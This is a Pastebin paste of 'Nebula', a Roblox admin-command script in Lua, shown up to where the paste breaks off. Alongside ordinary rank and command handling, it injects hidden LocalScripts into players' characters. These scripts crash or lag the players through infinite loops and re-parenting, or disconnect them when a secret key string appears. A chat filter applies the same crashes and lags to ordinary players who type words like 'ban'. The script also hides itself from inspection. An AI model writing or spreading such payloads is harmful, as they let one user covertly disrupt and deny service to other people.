Advertisement
Leodu41

nebula edited by leodu41

Sep 29th, 2019
173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 97.90 KB | None | 0 0
  1. --[[
  2.  
  3.  
  4. This version should work
  5.  
  6.  
  7.  
  8. --]]
  9. -- [[ Nebula created by . ]] --
  10. -- [[ Please do not re-disitrubte and/or distribute. ]] --
  11.  
  12. --[[ Rules, notes and information (READ!):
  13. | * = Note
  14.  
  15. Rules:
  16. - You will not edit the script in anyway unless prompted*
  17. - You will not distribute the script in any way*
  18. - You will read the new rules, notes, and information every update and/or release*
  19. - You have bought a license to this script*
  20. - You agree that licenses are used to identify you*
  21. Notes:
  22. - *1: You may not create additional prompts.
  23. - *2: Distributing counts as and/or is the same as re-distributing, sharing, putting the script on websites, and/or leaking.
  24. - *3: This rule only applies if something in the rules, notes, and/or information is changed.
  25. - *4: Fake licenses do not count. All licenses should be bought from pop147741.
  26. - *5: Licenses are used to identify if you have the right to use this script as stated in the information.
  27. Information:
  28. The script was created by 1337DevilAvenger.
  29.  
  30. There are no current developers, this will only change every update/release.
  31. If you'd like to see the current list of developers, please visit the group.
  32.  
  33. Denuba Techa: http://www.roblox.com/groups/group.aspx?gid=850132
  34. There are no other groups for Nebula.
  35.  
  36. Nebula uses multiple verifacation proccesses to identify if you have the right to use this script.
  37. If you do not and you are caught, you will be added to the banlist the next update.
  38. If you leaked, distributed and/or distributed the script you will be also added to the banlist and your license will be removed.
  39. The owner rank is SHARED. Other people will be ranked 6 as well.
  40.  
  41. Users are encouraged to post to the group wall all of the users they see using Nebula.
  42. Please note that this requires their full username.
  43.  
  44. You can ban someone perminately in your script by going down to Banned adding it like the ExampleUser.
  45. You can group ban a group perminately in your script by going down to GroupBanned and adding it like 850132.
  46. Ban types: -3 = Lag ban
  47. -2 = Crash ban
  48. -1 = Kick ban (Regular ban)
  49.  
  50. Please submit all glitches to pop147741.
  51. Please submit any suggestions to pop147741 as well.
  52.  
  53. To run the script, create it like you would a normal script. Run it if not already.
  54. Same as above but do not put the script inside of it.
  55. Same as above but make it a localscript.
  56. To see the commands, type /cmds;
  57. Thank you for using Nebula!
  58. --]]
  59. --[[
  60. Idea List:
  61. KILL DENUBA >:o
  62. --]]
  63.  
  64. -- Script Info --
  65. script.Name = "| Nebula | Created by LEODU41 |"
  66. wait()
  67. script.Parent = Instance.new("Model")
  68.  
  69. local Banned = {{"1337DevilAvenger", -1, "This is an example ban reason."}, {"Jaccob", -1, "Because he always was on here and deserves to be on here."}, {"k2monker",-3, "For Noob Ban and Kick"}, {"nivekel", -3, "Tried to steal Denuba and abuses"}}
  70. local GroupBanned = {{845653, -3, "Stole & leaked Nebula. Alo stole credit."}}
  71. -- Script Starts here, do not edit anything below --
  72.  
  73. -- Script Hider --
  74. local hitler = nil
  75. local mediafire = "http://www.mediafire.com/"
  76.  
  77. -- Un-sorted --
  78. local _ = {}
  79. _["Version"] = 0
  80. _["CommandTrigger1"] = ";"
  81. _["CommandTrigger2"] = "|"
  82. _["CommandBigginning"] = "/"
  83.  
  84. -- Version Setup --
  85. function GetSource(obj)
  86. if obj:IsA("BaseScript") then
  87. for i, v in pairs(obj:GetChildren()) do
  88. if v.Name:lower():find('source', 1, true) then
  89. return v
  90. end
  91. end
  92. end
  93. return nil
  94. end
  95.  
  96. if GetSource(script) ~= nil then
  97. _["Version"] = math.ceil((#GetSource(script).Value / 15000) - 0.5)
  98. end
  99.  
  100. -- Script Hider #2 --
  101. for i, v in pairs(script:GetChildren()) do v:Destroy() end
  102.  
  103. -- Variables --
  104. local NewLocal2 = nil
  105. local NewLocalConnection = nil
  106. local NewScript2 = nil
  107. local NewScriptConnection = nil
  108. local FilterOn = true
  109. local cframeType = "default"
  110. local PrivateOn = false
  111. local ScriptsEnabled = true
  112. local NDKey = "@Nebula(NilDisconnect)*Username*#"
  113. local OKey = "@Nebula()|*DC*|"
  114. _G.NEBULAORK = ""
  115. local pingPlayer = 0
  116. local timeElapsed = 0
  117.  
  118. -- Tables --
  119. local ClientRanks = {}
  120. local PlayerSettings = {}
  121. local Ranks = {}
  122. local Tablets = {}
  123. local Commands = {}
  124. local LoopKill = {}
  125. local Sandbox = {}
  126. local AntiLocal = {}
  127. local AntiBan = {}
  128. local services = {"Debris", "Workspace", "Lighting"}
  129. local ult = game:GetService("Players"):GetChildren()
  130. local croc = {}
  131. local TimeBanned = {}
  132.  
  133. -- Functions --
  134. -- New Script Related --
  135. function editScriptSource(scr, source)
  136. for i, v in pairs(scr:GetChildren()) do
  137. if v.Name:lower():find('source', 1, true) then
  138. v.Value = source
  139. end
  140. end
  141. end
  142. function ns(p, l, s)
  143. local cs = nil
  144. if l == true then cs = NewLocal2:Clone()
  145. else cs = NewScript2:Clone() end
  146. if cs == nil then return nil end
  147. cs.Parent = p
  148. editScriptSource(cs, s)
  149. return cs
  150. end
  151.  
  152. -- Rank Related --
  153. function newRank(r, n, f)
  154. table.insert(Ranks, {Rank = r, Name = n, Filter = f})
  155. end
  156. function searchForRank(data)
  157. if type(data) == 'string' then
  158. for i, v in pairs(Ranks) do
  159. if v.Name == data then
  160. return v
  161. end
  162. end
  163. else
  164. for i, v in pairs(Ranks) do
  165. if v.Rank == data then
  166. return v
  167. end
  168. end
  169. end
  170. return nil
  171. end
  172. function setRank(player, rank)
  173. ClientRanks[player] = rank
  174. end
  175. function getRank(player)
  176. return ClientRanks[player.Name]
  177. end
  178.  
  179. -- Settings Related --
  180. function setPlayerSettings(player)
  181. PlayerSettings[player.Name] = {
  182. BB = {
  183. On = false,
  184. Color = "Blue"
  185. }; -- Bubblechat
  186. Tablets = {
  187. FireSettings = {
  188. FX1 = {On = false, Color = Color3.new(0, 0, 0), Color2 = Color3.new(0, 0, 0), Heat = 9, Size = 5},
  189. FX2 = {On = false, Color = Color3.new(0, 0, 0), Color2 = Color3.new(1, 1, 1), Heat = 9, Size = 5},
  190. FX3 = {On = false, Color = Color3.new(1, 1, 1), Color2 = Color3.new(1, 1, 1), Heat = 9, Size = 5}
  191. };
  192. SparkleSettings = {
  193. FX1 = {On = false, Color = Color3.new(0, 1, 0)},
  194. FX2 = {On = false, Color = Color3.new(1, 0, 0)},
  195. FX3 = {On = false, Color = Color3.new(0, 0, 1)},
  196. };
  197. SmokeSettings = {
  198. FX1 = {On = false, Color = Color3.new(0, 0, 0), Opac = 0.5, RV = 1, Size = 1},
  199. FX2 = {On = false, Color = Color3.new(1, 1, 1), Opac = 0.5, RV = 1, Size = 1},
  200. FX3 = {On = false, Color = Color3.new(122 / 255, 122 / 255, 122 / 255), Opac = 0.5, RV = 1, Size = 1}
  201. };
  202. DismissTablet = nil
  203. }
  204. }
  205. end
  206. function getPlayerSettings(player)
  207. return PlayerSettings[player.Name]
  208. end
  209.  
  210. -- Commands Related --
  211. function checkRank(player1, player2, action)
  212. if getRank(player1) > getRank(player2) or player1 == player2 then
  213. return true
  214. else
  215. if action ~= nil then
  216. newTablet(player1.Name .. " tried to preform the action/command: " .. action .. " on you.", "Really red", nil, player2)
  217. end
  218. return false
  219. end
  220. end
  221. function findPlayer(name, sender)
  222. local result = {}
  223. name = name:lower()
  224. if name == "me" then
  225. table.insert(result, sender)
  226. elseif name == "all" then
  227. for i, v in pairs(game:GetService("Players"):GetPlayers()) do
  228. table.insert(result, v)
  229. end
  230. elseif name == "others" then
  231. for i, v in pairs(game:GetService("Players"):GetPlayers()) do
  232. if v ~= sender then
  233. table.insert(result, v)
  234. end
  235. end
  236. else
  237. for i, v in pairs(game:GetService("Players"):GetPlayers()) do
  238. if v.Name:lower():find(name, 1, true) then
  239. table.insert(result, v)
  240. end
  241. end
  242. end
  243. return result
  244. end
  245. function getArgs(command)
  246. if _["CommandBigginning"] ~= "" then
  247. if command:sub(1, 1) ~= _["CommandBigginning"] then return nil end
  248. end
  249. local ct1 = command:find(_["CommandTrigger1"], 1, true)
  250. if not ct1 then return nil end
  251. local c = ""
  252. local p = {}
  253. local ct2 = command:find(_["CommandTrigger2"], 1, true)
  254. if _["CommandBigginning"] ~= "" then
  255. c = command:sub(2, ct1 - 1)
  256. else
  257. c = command:sub(1, ct1 - 1)
  258. end
  259. if not ct2 then
  260. table.insert(p, command:sub(ct1 + 1))
  261. else
  262. local pcount = -1
  263. for _ in string.gmatch(command, _["CommandTrigger2"]) do pcount = pcount + 1 end
  264. local lp = ct1
  265. local np = nil
  266. for i = 0, pcount do
  267. if not command:sub(lp + 1):find(_["CommandTrigger2"], 1, true) then break end
  268. np = command:sub(lp + 1):find(_["CommandTrigger2"], 1, true)
  269. np = np + lp
  270. table.insert(p, command:sub(lp + 1, np - 1))
  271. lp = np
  272. end
  273. table.insert(p, command:sub(np + 1))
  274. end
  275. return c, p
  276. end
  277. function cmds(command, sender, nilRank)
  278. local cmd, props = getArgs(command)
  279. local special = false
  280. local alternativeSender = sender
  281. if cmd == nil or props == nil or sender == nil then return end
  282. cmd = cmd:lower()
  283. local commandFound = false
  284. for i, v in pairs(Commands) do
  285. if cmd:lower() == v.shortCommand:lower() then
  286. commandFound = true
  287. if alternativeSender == "syncer" or alternativeSender == "nil" then
  288. -- syncer part 1: all players & nil support --
  289. sender = game:GetService("Players"):GetChildren()[math.random(#game:GetService("Players"):GetChildren())]
  290. end
  291. if v.RankRequired <= getRank(sender) then
  292. local result, err = nil
  293. if alternativeSender == "syncer" then
  294. special = true
  295. -- syncs command format for everyone in server --
  296. local oldRank = getRank(sender)
  297. setRank(sender.Name, 255)
  298. result, err = ypcall(function() v.Work(sender, props) end)
  299. setRank(sender.Name, oldRank)
  300. end
  301. if alternativeSender == "nil" then
  302. special = true
  303. -- does the command the nil player said --
  304. local oldRank = getRank(sender)
  305. setRank(sender.Name, nilRank)
  306. result, err = ypcall(function() v.Work(sender, props) end)
  307. setRank(sender.Name, oldRank)
  308. end
  309. if special == false then
  310. result, err = ypcall(function() v.Work(sender, props) end)
  311. end
  312. if result == false then
  313. for i2, v2 in pairs(game:GetService("Players"):GetPlayers()) do
  314. if getRank(v2) == 5 or getRank(v2) == 255 or getRank(v2) == 253 then
  315. newTablet(err, "Really red", nil, v2)
  316. end
  317. end
  318. newTablet("An error occured.", "Really red", nil, sender)
  319. end
  320. else
  321. newTablet("You do not have permission to this command.", "Really red", nil, sender)
  322. end
  323. end
  324. end
  325. if commandFound == false then
  326. newTablet("The command you requested doesn't exist.", "Really red", nil, sender)
  327. end
  328. end
  329. function newCommand(c, n, p, d, r, f)
  330. table.insert(Commands, {shortCommand = c, fullCommand = n, Properties = p, Description = d, RankRequired = r, Work = f})
  331. end
  332.  
  333. -- Chat Related --
  334. function Bubblechat(message, player)
  335. if getPlayerSettings(player).BB.On == true then
  336. if player.Character ~= nil and player.Character:findFirstChild("Head") ~= nil then
  337. game:GetService("Chat"):Chat(player.Character.Head, message, getPlayerSettings(player).BB.Color)
  338. end
  339. end
  340. end
  341. function Filter(message, player)
  342. local rank = getRank(player)
  343. local rankdata = searchForRank(rank)
  344. if rankdata ~= nil and FilterOn == true then
  345. for i, v in pairs(rankdata.Filter) do
  346. if message:lower():find(v[1], 1, true) then
  347. if v[2] == 0 then
  348. player:Destroy()
  349. globalTablet(player.Name .. " was kicked for chatting kicked word: " .. v[1], "Really red", nil)
  350. elseif v[2] == 1 then
  351. while player.Character == nil do wait() end
  352. pcall(function() ns(player.Character, true, [[local player = game:GetService("Players").LocalPlayer
  353. player.Parent = nil
  354. player.Parent = game:GetService("Players") -- Crash]]).Disabled = false end)
  355. globalTablet(player.Name .. " was crashed for chatting filtered word: " .. v[1], "Really red", nil)
  356. elseif v[2] == 2 then
  357. while player.Character == nil do wait() end
  358. pcall(function() ns(player.Character, true, [[function lag() coroutine.wrap(function() repeat until false end)() game:GetService("RunService").Stepped:connect(lag)]]).Disabled = false end)
  359. globalTablet(player.Name .. " was lagged for chatting filtered word: " .. v[1], "Really red", nil)
  360. end
  361. end
  362. end
  363. end
  364. end
  365.  
  366. -- Decryption Related --
  367. function convertAscii(str)
  368. asciiStr = ""
  369. for i=1, string.len(str) do
  370. asciiStr = asciiStr..string.byte(string.sub(str, i, i) )
  371. end
  372. return tonumber(asciiStr)
  373. end
  374. function convHex(dec)
  375. local b,k,out,i,d=16,"0123456789ABCDEF","",0
  376. while dec>0 do
  377. i=i+1
  378. dec,d=math.floor(dec/b),dec%b+1
  379. out=string.sub(k,d,d)..out
  380. end
  381. return tostring(out)
  382. end
  383.  
  384. -- Tablet Related --
  385. function tabletanimation(_type, duration, tablet)
  386. local up = false
  387. local waitTime = wait(0.2) / duration
  388. if _type == "Dismiss" then
  389. if tablet.Transparency >= 1 then up = true end
  390. for i = tablet.Transparency, 1, 0.1 do
  391. if up == true then
  392. tablet.Transparency = tablet.Transparency - i
  393. else
  394. tablet.Transparency = tablet.Transparency + i
  395. end
  396. wait(waitTime)
  397. end
  398. elseif _type == "Hover" then
  399. if tablet.Transparency >= duration then up = true end
  400. for i = tablet.Transparency, duration, 0.1 do
  401. if up == true then
  402. tablet.Transparency = tablet.Transparency - i
  403. else
  404. tablet.Transparency = tablet.Transparency + i
  405. end
  406. wait(waitTime)
  407. end
  408. end
  409. end
  410. function newTabletModel(player)
  411. if getPlayerSettings(player).Tablets.Model ~= nil then
  412. getPlayerSettings(player).Tablets.Model:Destroy()
  413. getPlayerSettings(player).Tablets.Model = nil
  414. end
  415. getPlayerSettings(player).Tablets.Model = Instance.new("Model", game:GetService("Workspace"))
  416. getPlayerSettings(player).Tablets.Model.Name = "Nebula|" .. player.Name .. "|Tablet Model"
  417. end
  418. function getTabletModel(player)
  419. return getPlayerSettings(player).Tablets.Model
  420. end
  421. function newTablet(message, color, command, player, scriptCommand, static)
  422. -- Setup --
  423. if message == nil then message = 'Untitled' end
  424. if command == nil then command = 'DT' end
  425. if scriptCommand == nil then scriptCommand = "" end
  426. if getTabletModel(player) == nil then newTabletModel(player) end
  427. if getTabletModel(player).Parent == nil then newTabletModel(player) end
  428. if player == nil then return end
  429. if static == nil then static = false end
  430. local tabletSettings = getPlayerSettings(player).Tablets
  431. local tabletModel = getTabletModel(player)
  432. local selectionplayer = nil
  433. if color == nil then
  434. color = BrickColor.new("White")
  435. else
  436. color = BrickColor.new(color)
  437. end
  438. -- Instance --
  439. local tablet = Instance.new("Part")
  440. local billboard = Instance.new("BillboardGui", tablet)
  441. local nametag = Instance.new("TextLabel", billboard)
  442. local clickdetector = Instance.new("ClickDetector", tablet)
  443. local tabletowner = Instance.new("ObjectValue", tablet)
  444. local specialmesh = Instance.new("SpecialMesh", tablet)
  445. local boolvalue = Instance.new("BoolValue", tablet)
  446. -- Effects (Up to 3 settings) --
  447. local TFX1 = Instance.new("Fire", tablet)
  448. local TFX2 = Instance.new("Fire", tablet)
  449. local TFX3 = Instance.new("Fire", tablet)
  450. local TFX4 = Instance.new("Smoke", tablet)
  451. local TFX5 = Instance.new("Smoke", tablet)
  452. local TFX6 = Instance.new("Smoke", tablet)
  453. local TFX7 = Instance.new("Sparkles", tablet)
  454. local TFX8 = Instance.new("Sparkles", tablet)
  455. local TFX9 = Instance.new("Sparkles", tablet)
  456. -- Properties --
  457. -- Fire
  458. TFX1.Enabled = tabletSettings.FireSettings.FX1.On
  459. TFX2.Enabled = tabletSettings.FireSettings.FX2.On
  460. TFX3.Enabled = tabletSettings.FireSettings.FX3.On
  461. TFX1.Color = tabletSettings.FireSettings.FX1.Color
  462. TFX2.Color = tabletSettings.FireSettings.FX2.Color
  463. TFX3.Color = tabletSettings.FireSettings.FX3.Color
  464. TFX1.Heat = tabletSettings.FireSettings.FX1.Heat
  465. TFX2.Heat = tabletSettings.FireSettings.FX2.Heat
  466. TFX3.Heat = tabletSettings.FireSettings.FX3.Heat
  467. TFX1.SecondaryColor = tabletSettings.FireSettings.FX1.Color2
  468. TFX2.SecondaryColor = tabletSettings.FireSettings.FX2.Color2
  469. TFX3.SecondaryColor = tabletSettings.FireSettings.FX3.Color2
  470. TFX1.Size = tabletSettings.FireSettings.FX1.Size
  471. TFX2.Size = tabletSettings.FireSettings.FX2.Size
  472. TFX3.Size = tabletSettings.FireSettings.FX3.Size
  473. -- Smoke
  474. TFX4.Enabled = tabletSettings.SmokeSettings.FX1.On
  475. TFX5.Enabled = tabletSettings.SmokeSettings.FX2.On
  476. TFX6.Enabled = tabletSettings.SmokeSettings.FX3.On
  477. TFX4.Opacity = tabletSettings.SmokeSettings.FX1.Opac
  478. TFX5.Opacity = tabletSettings.SmokeSettings.FX2.Opac
  479. TFX6.Opacity = tabletSettings.SmokeSettings.FX3.Opac
  480. TFX4.RiseVelocity = tabletSettings.SmokeSettings.FX1.RV
  481. TFX5.RiseVelocity = tabletSettings.SmokeSettings.FX2.RV
  482. TFX6.RiseVelocity = tabletSettings.SmokeSettings.FX3.RV
  483. TFX4.Size = tabletSettings.SmokeSettings.FX1.Size
  484. TFX5.Size = tabletSettings.SmokeSettings.FX2.Size
  485. TFX6.Size = tabletSettings.SmokeSettings.FX3.Size
  486. -- Sparkles
  487. TFX7.Enabled = tabletSettings.SparkleSettings.FX1.On
  488. TFX8.Enabled = tabletSettings.SparkleSettings.FX2.On
  489. TFX9.Enabled = tabletSettings.SparkleSettings.FX3.On
  490. TFX7.SparkleColor = tabletSettings.SparkleSettings.FX1.Color
  491. TFX8.SparkleColor = tabletSettings.SparkleSettings.FX2.Color
  492. TFX9.SparkleColor = tabletSettings.SparkleSettings.FX3.Color
  493. -- Part
  494. tablet.BrickColor = color
  495. tablet.Reflectance = 0
  496. tablet.Transparency = 0.5
  497. tablet.Name = "Tablet|" .. player.Name .. "|" .. message
  498. tablet.Anchored = true
  499. tablet.CanCollide = false
  500. tablet.Locked = true
  501. tablet.FormFactor = "Custom"
  502. tablet.Shape = "Block"
  503. tablet.Size = Vector3.new(2, 2, 2)
  504. tablet.BackSurface = "Smooth"
  505. tablet.TopSurface = "Smooth"
  506. if player.Character == nil then tablet:Destroy() return end
  507. repeat wait() until player.Character:findFirstChild("Head") ~= nil
  508. tablet.CFrame = player.Character.Head.CFrame
  509. -- Billboard
  510. billboard.Name = "Nametag|" .. message
  511. billboard.Size = UDim2.new(100, 0, 1, 0)
  512. billboard.StudsOffset = Vector3.new(0, 2.5, 0)
  513. -- TextLabel
  514. nametag.BackgroundTransparency = 1
  515. nametag.Size = UDim2.new(1, 0, 1, 0)
  516. nametag.Font = "ArialBold"
  517. nametag.Text = message
  518. nametag.TextColor3 = color.Color
  519. nametag.TextScaled = true
  520. nametag.TextStrokeColor3 = Color3.new(0, 0, 0)
  521. nametag.TextStrokeTransparency = 0
  522. nametag.TextWrapped = true
  523. -- Mesh
  524. specialmesh.MeshId = "http://www.roblox.com/asset/?id=10917605"
  525. specialmesh.MeshType = "FileMesh"
  526. specialmesh.Scale = Vector3.new(0.05, 0.05, 0.05)
  527. specialmesh.TextureId = "http://www.roblox.com/asset/?id=109635221"
  528. specialmesh.VertexColor = Vector3.new(color.Color.r, color.Color.g, color.Color.b)
  529. -- ClickDetector
  530. clickdetector.MaxActivationDistance = 444333888000111444
  531. clickdetector.MouseHoverEnter:connect(function(player2)
  532. if player2 == player or getRank(player2) > getRank(player) and selectionplayer == nil then
  533. selectionplayer = player
  534. tabletanimation("Hover", 0.5, tablet)
  535. end
  536. end)
  537. clickdetector.MouseHoverLeave:connect(function(player2)
  538. if player2 == selectionplayer then
  539. tabletanimation("Hover", 0.75, tablet)
  540. selectionplayer = nil
  541. end
  542. end)
  543. clickdetector.MouseClick:connect(function(player2)
  544. if player2 == player or getRank(player2) > getRank(player) then
  545. pcall(function() loadstring(scriptCommand)() end)
  546. if command == "DT" then
  547. tabletanimation("Dismiss", 2, tablet)
  548. tablet:Destroy()
  549. else
  550. tabletanimation("Dismiss", 3, tablet)
  551. cmds(_["CommandBigginning"] .. command, player)
  552. end
  553. end
  554. end)
  555. -- ObjectValue --
  556. tabletowner.Name = "TabletOwner"
  557. tabletowner.Value = player
  558. -- BoolaenValue --
  559. boolvalue.Name = "Static"
  560. boolvalue.Value = static
  561. -- _\Init/_
  562. tablet.Parent = tabletModel
  563. table.insert(Tablets, tablet)
  564. return tablet
  565. end
  566. function FindAllTablets(player)
  567. local tabletsFound = {}
  568. for i, v in pairs(Tablets) do
  569. if v ~= nil and v.Parent ~= nil then
  570. if v:findFirstChild("TabletOwner") ~= nil and v:findFirstChild("TabletOwner").Value == player then
  571. table.insert(tabletsFound, v)
  572. end
  573. end
  574. end
  575. return tabletsFound
  576. end
  577. function globalTablet(message, color, command)
  578. for i, v in pairs(game:GetService("Players"):GetPlayers()) do
  579. newTablet(message, color, command, v)
  580. end
  581. end
  582. function tabletCFrame(player)
  583. coroutine.wrap(function(pl)
  584. local calout = 2
  585. local tabletCountOld = 0
  586. local tablets = nil
  587. while game:GetService("Players"):findFirstChild(pl.Name) ~= nil do wait()
  588. tablets = FindAllTablets(pl)
  589. for rot = 0, 1440 do
  590. tablets = FindAllTablets(pl)
  591. for i, v in pairs(tablets) do
  592. if v:findFirstChild("Static") ~= nil and v:findFirstChild("Static").Value == true then
  593. table.remove(tablets, i)
  594. end
  595. end
  596. if #tablets == 0 then
  597. calout = 2
  598. tabletCountOld = 0
  599. end
  600. if #tablets > tabletCountOld then
  601. for i = 0, (#tablets - tabletCountOld) do
  602. for i2 = 0, 3 do
  603. calout = calout + 0.1
  604. end
  605. end
  606. elseif #tablets < tabletCountOld then
  607. for i = 0, (tabletCountOld - #tablets) do
  608. for i2 = 0, 3 do
  609. calout = calout - 0.1
  610. end
  611. end
  612. end
  613. if #tablets >= 2 and getPlayerSettings(pl).Tablets.DismissTablet == nil then
  614. getPlayerSettings(pl).Tablets.DismissTablet = newTablet("Dismiss", nil, "dismiss;", pl)
  615. elseif #tablets - 1 < 2 and getPlayerSettings(pl).Tablets.DismissTablet ~= nil then
  616. getPlayerSettings(pl).Tablets.DismissTablet:Destroy()
  617. getPlayerSettings(pl).Tablets.DismissTablet = nil
  618. end
  619. tabletCountOld = #tablets
  620. for i, v in pairs(tablets) do
  621. if pl.Character ~= nil and pl.Character:findFirstChild("Head") ~= nil then
  622. if cframeType == "catapillar" then
  623. v.CFrame = pl.Character.Head.CFrame * CFrame.Angles(0, math.rad(rot / 4 * i / (#tablets / 2)), 0) * CFrame.new(0, 0, calout)
  624. elseif cframeType == "default" then
  625. v.CFrame = pl.Character.Head.CFrame * CFrame.Angles(0, math.rad(rot / 4 * i / 2), 0) * CFrame.new(0, 0, calout)
  626. end
  627. end
  628. end
  629. wait()
  630. end
  631. end
  632. end)(player)
  633. end
  634.  
  635. -- Ban Related --
  636. function doBan(player)
  637. local groupBan = false
  638. local group = 0
  639. local rank = getRank(player)
  640. for i, v in pairs(GroupBanned) do
  641. if player:GetRankInGroup(v[1]) > 0 then
  642. groupBan = true
  643. rank = v[2]
  644. group = v[1]
  645. break
  646. end
  647. end
  648. for i, v in pairs(TimeBanned) do
  649. if i == player.Name then
  650. if (v[1] + v[2]) - timeElapsed <= 0 then
  651. TimeBanned[i] = nil
  652. break
  653. else
  654. rank = v[3]
  655. break
  656. end
  657. end
  658. end
  659. if rank == -1 then
  660. while player.Character ~= nil do wait() end
  661. player:Destroy()
  662. if groupBan == false then
  663. globalTablet(player.Name .. " has been kicked due to a ban.", "Really red", "baninfo" .. _["CommandTrigger1"] .. player.Name)
  664. else
  665. globalTablet(player.Name .. " has been kicked for existing in group: " .. tostring(group) .. ".", "Really red", nil)
  666. end
  667. elseif rank == -2 then
  668. while player.Character == nil do wait() end
  669. local ls = ns(player.Character, true, [[local plr = game:GetService("Players").LocalPlayer
  670. while wait() do
  671. plr.Parent = nil
  672. plr.Parent = game:GetService("Players")
  673. end]])
  674. if ls ~= nil then ls.Disabled = true ls.Disabled = false end
  675. if groupBan == false then
  676. globalTablet(player.Name .. " has been crashed due to a ban.", "Really red", "baninfo" .. _["CommandTrigger1"] .. player.Name)
  677. else
  678. globalTablet(player.Name .. " has been crashed for existing in group: " .. tostring(group) .. ".", "Really red", nil)
  679. end
  680. elseif rank == -3 then
  681. while player.Character == nil do wait() end
  682. local ls = ns(player.Character, true, [[function lag() repeat coroutine.wrap(function() repeat until false end)() until false end game:GetService("RunService").Stepped:connect(lag)]])
  683. if ls ~= nil then ls.Disabled = true ls.Disabled = false end
  684. if groupBan == false then
  685. globalTablet(player.Name .. " has been lagged due to a ban.", "Really red", "baninfo" .. _["CommandTrigger1"] .. player.Name)
  686. else
  687. globalTablet(player.Name .. " has been lagged for existing in group: " .. tostring(group) .. ".", "Really red", nil)
  688. end
  689. end
  690. end
  691. function doPri(player)
  692. if PrivateOn == true and getRank(player) < 1 then
  693. while player.Character == nil do wait() end
  694. local ls = ns(player.Character, true, [[game:GetService("Players").LocalPlayer.Parent = nil game:GetService("Players").LocalPlayer.Parent = game:GetService("Players")]])
  695. if ls ~= nil then ls.Disabled = true ls.Disabled = false end
  696. globalTablet(player.Name .. " was crashed due to the private server.", "Really red", nil)
  697. end
  698. end
  699.  
  700. -- Player Setup --
  701. function setup(player)
  702. -- Settings --
  703. setPlayerSettings(player)
  704. -- Default Ranks --
  705. if getRank(player) == nil then
  706. setRank(player.Name, player:GetRankInGroup(845653))
  707. end
  708. -- Private Check --
  709. doPri(player)
  710. -- Ban Check --
  711. doBan(player)
  712. -- Tablet Model --
  713. newTabletModel(player)
  714. -- Tablet CFrame --
  715. tabletCFrame(player)
  716. -- Chatted --
  717. player.Chatted:connect(function(msg)
  718. Filter(msg, player)
  719. Bubblechat(msg, player)
  720. cmds(msg, player)
  721. end)
  722. -- Running --
  723. newTablet("Nebula version " .. _["Version"] .. " is active and running.", "Lime green", nil, player)
  724. -- Nil Disconnect --
  725. repeat wait() until player.Character ~= nil
  726. local ls = ns(player.Character, true, [[-- Nil Disconnect --
  727. script.Parent = nil
  728. for i, v in pairs(script:GetChildren()) do v:Destroy() end
  729. game:GetService("Workspace").DescendantAdded:connect(function(obj)
  730. if obj.Name == "NND" and obj:IsA("StringValue") then
  731. if obj.Value == "]] .. NDKey .. [[" .. game:GetService("Players").LocalPlayer.Name then
  732. game:GetService("Players").LocalPlayer.Parent = nil
  733. game:GetService("Players").LocalPlayer.Parent = game:GetService("Players")
  734. end
  735. end
  736. end)]])
  737. if ls ~= nil then ls.Disabled = true ls.Disabled = false end
  738. end
  739.  
  740. -- Rank Setup --
  741. newRank(-4, "Time Banned", {{"e", 0}})
  742. newRank(-3, "Lag Banned", {{"e", 0}})
  743. newRank(-2, "Crash Banned", {{"e", 0}})
  744. newRank(-1, "Banned", {{"e", 0}})
  745. newRank(0, "Guest", {{"ban", 1}, {"camball", 1}, {"/up", 1}, {"/down", 1}, {"nova", 2}, {"lag", 2}, {"crash", 1}, {"shutdown", 2}, {"qorb", 1}, {"eyeball", 2}, {"onelegend", 0}, {"iFlip", 2}, {"cba", 1}, {"deadfield", 0} })
  746. newRank(1, "Member", {{"ban", 0}, {"nova", 2}, {"lag", 2}, {"crash", 1}, {"shutdown", 2}, {"qorb", 1}, {"eyeball", 1}, {"OneLegend", 0}, {"iFlip", 1}, {"cba", 1}})
  747. newRank(2, "Moderator", {{"nova", 1}, {"lag", 1}, {"shutdown", 2}, {"eyeball", 1}})
  748. newRank(3, "Administrator", {{"nova", 0}, {"shutdown", 1}})
  749. newRank(4, "Scripter", {})
  750. newRank(5, "Developer", {})
  751. newRank(6, "Owner", {})
  752. newRank(253, "Lead Developer", {})
  753. newRank(254, "Asian Assistant", {})
  754. newRank(255, "Creator", {})
  755. -- Command Setup --
  756. newCommand("test", "Test", {"No properties"}, "Displays a test message", 0, function(...)
  757. local args = {...}
  758. local props = args[2]
  759. local sndr = args[1]
  760. newTablet("I am working!", "Lime green", nil, sndr)
  761. end)
  762. newCommand("cmds", "Commands", {"No properties"}, "Displays the commands", 0, function(...)
  763. local args = {...}
  764. local sndr = args[1]
  765. for i, v in pairs(Ranks) do
  766. if v.Rank >= 0 then
  767. newTablet("Rank " .. tostring(v.Rank), nil, "category" .. _["CommandTrigger1"] .. "rank" .. _["CommandTrigger2"] .. tostring(v.Rank), sndr)
  768. end
  769. end
  770. newTablet("All commands", nil, "category;all", sndr)
  771. end)
  772. newCommand("category", "Category", {"Category"}, "Displays all of the commands in that category", 0, function(...)
  773. local args = {...}
  774. local sndr = args[1]
  775. local props = args[2]
  776. if props[1]:lower() == "rank" then
  777. if searchForRank(tonumber(props[2])) ~= nil then
  778. cmds(_["CommandBigginning"] .. "dismiss" .. _["CommandTrigger1"], sndr)
  779. for i, v in pairs(Commands) do
  780. if v.RankRequired == tonumber(props[2]) then
  781. newTablet(v.shortCommand, nil, "help" .. _["CommandTrigger1"] .. tostring(v.shortCommand), sndr)
  782. end
  783. end
  784. else
  785. newTablet("That rank doesn't exist!", "Really red", nil, sndr)
  786. end
  787. elseif props[1]:lower() == "all" then
  788. cmds(_["CommandBigginning"] .."dismiss" .. _["CommandTrigger1"], sndr)
  789. for i, v in pairs(Commands) do
  790. newTablet(v.shortCommand, nil, "help" .. _["CommandTrigger1"] .. tostring(v.shortCommand), sndr)
  791. end
  792. end
  793. end)
  794. newCommand("help", "Help", {"No properties"}, "Displays information on the command specified", 0, function(...)
  795. local args = {...}
  796. local sndr = args[1]
  797. local props = args[2]
  798. cmds(_["CommandBigginning"] .."dismiss" .. _["CommandTrigger1"], sndr)
  799. local commandFound = false
  800. for i, v in pairs(Commands) do
  801. if v.shortCommand:lower() == props[1]:lower() then
  802. commandFound = true
  803. local pstr = ""
  804. for i, v in pairs(v.Properties) do
  805. if i ~= 1 then
  806. pstr = pstr .. ", " .. tostring(v)
  807. else
  808. pstr = pstr .. tostring(v)
  809. end
  810. end
  811. for i, v in pairs(v) do
  812. if type(v) == 'string' or type(v) == 'number' then
